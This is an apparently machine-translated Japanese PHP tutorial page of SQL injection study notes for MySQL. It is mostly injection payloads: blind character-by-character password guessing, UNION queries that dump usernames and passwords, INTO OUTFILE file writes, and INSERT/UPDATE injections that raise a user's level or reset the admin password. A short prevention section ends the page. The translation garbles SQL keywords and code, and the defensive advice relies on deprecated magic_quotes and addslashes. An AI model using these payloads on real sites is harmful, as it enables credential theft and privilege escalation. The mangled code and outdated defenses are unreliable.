ホームページ >バックエンド開発 >PHPチュートリアル >PHPでのSQLインジェクション実装(テストコードは安全で良好)_PHPチュートリアル

PHPでのSQLインジェクション実装(テストコードは安全で良好)_PHPチュートリアル

WBOY
WBOYオリジナル
2016-07-21 15:32:06834ブラウズ

SQL インジェクションの焦点は、SQL
ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できるようになります。勉強した後はメモを書き、いつでも使えるようにしています。以下の内容を読んで、まず SQL の基本原理を理解していただければ幸いです。メモ内のコードはインターネットから取得したものです。
===基本部分===
このテーブルのクエリ:
http://127.0.0.1/injection/user.php?username=angel' および LENGTH(password)='6
http://127.0.0.1 /注入/user.php?username=angel' and LEFT(password,1)='m

Union ユニオンステートメント:
http://127.0.0.1/injection/show.php?id=1' Union select 1, username ,password from user/*
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user/*

エクスポートファイル:
http://127.0.0.1/ /user.php?username=angel' を出力ファイル 'c:/file.txt に注入します
http://127.0.0.1/injection/user.php?username=' または 1=1 を出力ファイル 'c:/file.txt に注入します
http://127.0.0.1/injection/show.php?id=' Union select 1,username,password from user into outfile 'c:/user.txt

INSERT ステートメント:
INSERT INTO `user` (userid,ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', '$username', '$password', '$homepage', '1');
構築されたホームページの値は次のとおりです: http://4ngel.net', ' 3' )#
SQL ステートメントは次のようになります: INSERT INTO `user` (ユーザー ID、ユーザー名、パスワード、ホームページ、ユーザーレベル) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', ' 3' )#', '1');

UPDATE ステートメント: これが気に入っています
まずこの SQL を理解してください
UPDATE ユーザー SET パスワード = 'MD5($password)'、ホームページ = '$homepage' WHERE id='$ id'
このSQLを以下の形に修正するとインジェクションが実現します
1:ホームページの値を
http://4ngel.net', userlevel='3 に修正します
するとSQL文は
UPDATE user SET password= となります' mypass'、homepage='http://4ngel.net'、userlevel='3' WHERE id='$id'
userlevel はユーザーレベルです
2: パスワードの値を
mypass)' WHERE username=' に変更しますadmin'#
その後、SQL ステートメントは
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)',homepage='$homepage' WHERE id='$id' になります
3: ID を変更しますvalue を
' OR username='admin' に設定すると、SQL ステートメントは
UPDATE user SET password='MD5($password)',homepage='$homepage' WHERE id='' OR username='admin'

= になります。 ==高度な部分 ===
一般的に使用される MySQL 組み込み関数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID( )
char()
load_file()
……
関数アプリケーション
UPDATE記事 SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 Union select 1 ,database(),version ()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) は、angel、10 進数に相当します
http://127.0.0.1/injection/user.php?userid=1そして、password=char(109,121,112, 97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/ user.php?userid=1 and ord(mid(password,3,1))>111

データ構造内のフィールドの数とタイプを決定します
http://127.0.0.1/injection/show.php? id=-1 Union select 1,1 ,1
http://127.0.0.1/injection/show.php?id=-1 Union select char(97),char(97),char(97)

推測してくださいデータテーブル名
http://127.0.0.1/injection/show.php?id=-1 メンバーから 1,1,1 を選択

ユーザー名とパスワードを取得するクロステーブルクエリ
http://127.0. 0.1/ymdown/show.php?id=10000 Union select 1,ユーザー名,1,パスワード,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

その他
#認証番号 1桁のパスワード
http://127.0.0.1/ymdown/show.php?id=10 Union select 1,1,1,1,1,1,1 ,1,1,1,1,1,1,1 ,1,1,1,1,1 (id=1 および ord(mid(password,1,1))=49 の ymdown_user から)

===インジェクション防止===
サーバー側
magic_quotes_gpcはオンに設定されます
display_errorsはオフに設定されます
エンコーディングアスペクト
$keywords = addlashes($keywords)
$keywords = str_replace("_","_",$keywords); $keywords = str_replace("%","%",$keywords ; else{
$str = mysql_real_escape_string($str);
$keywords = str_replace("_","_",$keywords);
$keywords = str_replace("%","%",$keywords);
}
便利な関数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考記事:
http: //www.4ngel.net/article/36.htm (MySQL による SQL インジェクション) 中国語
http://www.phpe.net/mysql_manual/06-4.html (MYSQL ステートメントのリファレンス)

www.bkjia.comtru​​ehttp://www.bkjia.com/PHPjc/322905.html技術記事 SQL インジェクションの焦点は、SQL ステートメントを構築することです。SQL ステートメントを柔軟に使用することによってのみ、素晴らしいインジェクション文字列を構築できます。勉強した後はメモを書き、いつでも使えるようにしています。ご覧いただければ幸いです...
声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。